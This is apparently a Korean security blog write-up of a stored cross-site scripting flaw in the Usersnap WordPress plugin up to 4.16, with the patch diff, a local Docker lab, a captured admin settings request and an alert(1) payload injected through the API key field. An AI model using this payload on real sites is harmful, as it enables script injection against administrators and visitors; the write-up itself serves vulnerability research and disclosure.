반응형
ref
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/usersnap/wordpress-usersnap-416-authenticated-admin-stored-cross-site-scripting
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2858205%40usersnap&new=2858205%40usersnap&sfp_email=&sfph_mail=
배경
- Usersnap wp plugin은 사용자에게 피드백을 받아 관리하는 SaaS형 서비스의 플러그인이다.
- 워드프레스용 Usersnap 플러그인은 API 키 값에 대한 충분한 입력 값 검사 및 출력 이스케이핑이 없기 때문에 버전 4.16 이하의 모든 버전에서 저장된 apikey 값에 대한 Cross-Site 스크립팅 취약점이 있습니다. 이로 인해 관리자 페이지와 사용자 페이지에서의 xss가 트리거 가능합니다. 관리자에 의해 취약성이 트리거가 가능한것으로 보이기 때문에 영향도는 낮습니다.
분석
- 이 취약성은 Usersnap 4.16 이하의 플러그인에서 발생 한다.
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2858205%40usersnap&new=2858205%40usersnap&sfp_email=&sfph_mail=
- 위 링크를 참고하면 주요하게 변경된 부분은 키를 검증하고 있고 이외의 변경된 부분은 렌더링 되는 api키가 올바르게 전달되도록 하고 있다.
409 389 </p>
410 390 <script type="text/javascript">
411 jQuery(function() {
412 jQuery('#us-settings-form').submit(function() {
413 if (jQuery('#us-api-key').val()!=='') {
414 var s = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i
415 if (!s.test(jQuery('#us-api-key').val())) {
416 jQuery('#us-api-key').focus();
417 jQuery('.wrap h2:last').after('<div class="error below-h2" style="margin-top:1em"><p><?php _e('Your API key is not valid, please check again!') ?></p></div>');
391 function domReady(fn) {
392 document.addEventListener("DOMContentLoaded", fn);
393 if (document.readyState === "interactive" || document.readyState === "complete" ) {
394 fn();
395 }
396 };
397
398 domReady(function() {
399 // validate settings form API key input and handle error display
400 document.querySelector('#us-settings-form').addEventListener('submit', function(evt) {
401 var apiKeyInputField = document.querySelector('#us-api-key');
402 if (apiKeyInputField.value !== '') {
403 var s = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
404 if (!s.test(apiKeyInputField.value)) {
405 apiKeyInputField.focus();
406 evt.preventDefault();
407 // create the error message and add it into the DOM
408 var h2El = document.querySelector('.wrap h2.us-headline');
409 var divEl = document.createElement('div');
410 var pEl = document.createElement('p');
411 var textNode = document.createTextNode('<?php _e('Your API key is not valid, please check again!') ?>');
412 pEl.appendChild(textNode);
413 divEl.appendChild(pEl);
414 divEl.classList.add("error");
415 divEl.classList.add("below-h2");
416 divEl.style.marginTop = "1em";
417 var parentNode = h2El.parentNode;
418 parentNode.insertBefore(divEl, h2El.nextSibling);
테스트
- wp docker를 설치하여 테스트 할 수 있다.
//https://github.com/docker/awesome-compose/tree/master/official-documentation-samples/wordpress/
services:
db:
# We use a mariadb image which supports both amd64 & arm64 architecture
image: mariadb:10.6.4-focal
# If you really want to use MySQL, uncomment the following line
#image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:latest
volumes:
- wp_data:/var/www/html
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
wp_data:
- 설치 후 기본 설정을 완료 한다.
- 플러그인 → 플러그인 설치 → 4.16 이하 버젼을 설치→ 플러그인 활성화 한다.
- 설정→Usersnap→Key를 설정한다. 본 취약점은 여기서 발생한다.
- 변경 사항을 저장하면 다음과 같은 요청이 발생한다.
POST /wp-admin/options.php HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5163.147 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: <http://localhost:8888/wp-admin/options-general.php?page=usersnap%2Fusersnap.php>
Content-Type: application/x-www-form-urlencoded
Content-Length: 397
Origin: <http://localhost:8888>
Connection: close
Cookie: wordpress_cd9b744c619529c4988e0e94344eaf12=jp27680%7C1680404211%7CVushSRZj3op9Rz4ceEj6sCkGsZvHuRKAr1Jfv1q8WFT%7C1583311e6199cb376b48dd37625eafbd93c292a32829f5847a228693c25f71bd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_cd9b744c619529c4988e0e94344eaf12=test%7C1680404211%7CVushSRZj3op9Rz4ceEj6sCkGsZvHuRKAr1Jfv1q8WFT%7C58f9a23b231a149e43396b44487b5c0064afe2aaf0b68f04b7f4f88f06335295; wp-settings-time-1=1680231562
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "macOS"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
option_page=usersnap_options&action=update&_wpnonce=a1d27a2c33&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dusersnap%252Fusersnap.php%26settings-updated%3Dtrue&usersnap_options%5Bapi-key%5D=cbbd390e-7b17-4d35-8107-6a89110a0ada&usersnap_options%5Bvisible-for%5D=all&usersnap_options%5Bvisible-for-backend%5D=backend&us_btn_save=%EB%B3%80%EA%B2%BD%EC%82%AC%ED%95%AD+%EC%A0%80%EC%9E%A5
- 키값을 스크립트가 실행 가능한 형태로 제작한다. 키값은 위젯 url을 구성하는 파라미터가 된다.
- 키값으로 완성된 파라미터는 아래의 widget_url로 입력된다.
(function() {
var s = document.createElement('script');
s.type = 'text/javascript';
s.async = true;
s.src = "<?php echo $options['widget_url'] ?>";
var x = document.getElementsByTagName('head')[0];
x.appendChild(s);
})();
- 페이로드 예제는 아래와 같이 쓸 수 있다.
option_page=usersnap_options&action=update&_wpnonce=a1d27a2c33&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dusersnap%252Fusersnap.php%26settings-updated%3Dtrue&usersnap_options%5Bapi-key%5D=cbbd390e-7b17-4d35-8107-6a89110a0ada**"</script><script>alert(1)</script>**&usersnap_options%5Bvisible-for%5D=all&usersnap_options%5Bvisible-for-backend%5D=backend&us_btn_save=%EB%B3%80%EA%B2%BD%EC%82%AC%ED%95%AD+%EC%A0%80%EC%9E%A5
- 이로 인한 프론트의 결과는 아래와 같다.
<meta name="generator" content="WordPress 6.1.1" />
<script type="text/javascript" data-cfasync="false">
window['_usersnapconfig'] = {emailBoxValue: 'park.jiho@linecorp.com'};
(function() {
var s = document.createElement('script');
s.type = 'text/javascript';
s.async = true;
s.src = "//api.usersnap.com/load/cbbd390e-7b17-4d35-8107-6a89110a0ada"</script><script>alert(1)</script>.js";
var x = document.getElementsByTagName('head')[0];
x.appendChild(s);
})();
</script>
<style media="print">#wpadminbar { display:none; }</style>
<style media="screen">
패치 방법
- 패치 제공 Usersnap ≥ 4.17
반응형